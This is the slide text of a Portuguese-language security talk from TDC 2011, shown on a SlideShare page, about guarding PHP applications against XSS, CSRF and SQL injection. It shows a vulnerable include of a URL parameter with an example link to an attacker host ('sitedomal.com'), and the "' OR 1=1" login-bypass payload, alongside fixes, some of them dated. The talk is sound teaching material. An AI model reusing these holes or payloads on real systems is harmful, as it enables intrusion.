Segurança TDC 2011

591 visualizações

Publicada em

Publicada em: Tecnologia
0 comentários
1 gostou
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
591
No SlideShare
0
A partir de incorporações
0
Número de incorporações
24
Ações
Compartilhamentos
0
Downloads
0
Comentários
0
Gostaram
1
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Segurança TDC 2011

  1. 1. Mantenha suas aplicações protegidas contra usuários mal intencionados
  2. 2. Kinn Coelho Julião <ul><li>Kinn Coelho Julião
  3. 3. Gerente de projetos - RPM
  4. 4. Consultor em Software Livre
  5. 5. 7 anos de experiência em Desenvolvimento
  6. 6. Analista de Sistemas
  7. 7. Atuante e Participante das seguintes comunidades: </li><ul><li>PHP4ANDROID, PHPSP, PHPBR,
  8. 8. PHPPAIDÉGUA, Moodle.org e etc </li></ul><li>Palestrante de eventos como FISL, FLISOL, Software Freedom Day,
  9. 9. PHPConference, SOLISC e etc.
  10. 10. @kinncj, fb.com/kinncj, linkedin.com/in/kinncj </li></ul>
  11. 11. Tipos de ataques que iremos tratar <ul><li>XSS
  12. 12. CSRF
  13. 13. INJECTION </li></ul>
  14. 14. XSS
  15. 15. XSS <ul><li>JavaScript </li></ul>
  16. 16. XSS
  17. 17. XSS
  18. 19. XSS <ul><li>Include
  19. 20. <?php
  20. 21. include $_GET['pagina'];
  21. 22. // http://localhost/pagina=http://sitedomal.com/script.txt </li></ul>
  22. 23. XSS <ul><li>Include
  23. 24. <?php
  24. 25. $paginas = array('home','admin');
  25. 26. if(in_array($_GET['pagina'],$paginas)){
  26. 27. include “../paginas/”.$_GET['pagina'].”.php”;
  27. 28. }else{
  28. 29. echo “Ops, pagina nao encontrada”;
  29. 30. }
  30. 31. // http://localhost/pagina=http://sitedomal.com/script.txt </li></ul>
  31. 32. CSRF
  32. 33. CSRF <ul><?php session_start(); $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; ?> <form action='pagina.php' method='post'> <ul><input type='text' name='texto' /> <input type='hidden' name='token' value=' <?=$token?> '/> <input type='submit' value='enviar'/> </form> </ul></ul>
  33. 34. CSRF <ul><?php session_start(); if($_SESSION['token'] != $_POST['token']){ die(“O formulário enviado é inválido”); } //Processamos o formulário caso a estrutura //IF não seja executada </ul>
  34. 35. SQL Injection
  35. 36. SQL Injection <ul><input type='text' name='usuario'/> <input type='text' name='senha'/> </ul>
  36. 37. SQL Injection
  37. 38. SQL Injection <ul><input type='text' name='usuario' value=” ' OR 1=1 ”/> <input type='text' name='senha' value=” ' OR 1=1 ”/> <li>SQL
  38. 39. $query_string = &quot;SELECT * FROM usuarios WHERE codigo = '{$usuario}' AND senha = '{$senha}'&quot;; </li></ul>
  39. 40. SQL Injection <ul><li>SQL
  40. 41. SELECT * FROM usuarios WHERE codigo = '' OR 1=1 AND senha = '' OR 1=1
  41. 42. PHP
  42. 43. $usuario = mysql_real_escape_string(addslashes($usuario));
  43. 44. $senha = mysql_real_escape_string(addslashes($senha));
  44. 45. $query_string = &quot;SELECT * FROM usuarios WHERE codigo = '{$usuario}' AND senha = '{$senha}'&quot; </li></ul>
  45. 46. SQL Injection <ul><li>PDO </li><ul><li>Prepared Statements </li></ul></ul>
  46. 47. Framework <ul><li>Symfony </li><ul><li>XSS
  47. 48. CSRF
  48. 49. Injection </li></ul></ul>
  49. 50. <ul><li>Perguntas? </li></ul>

×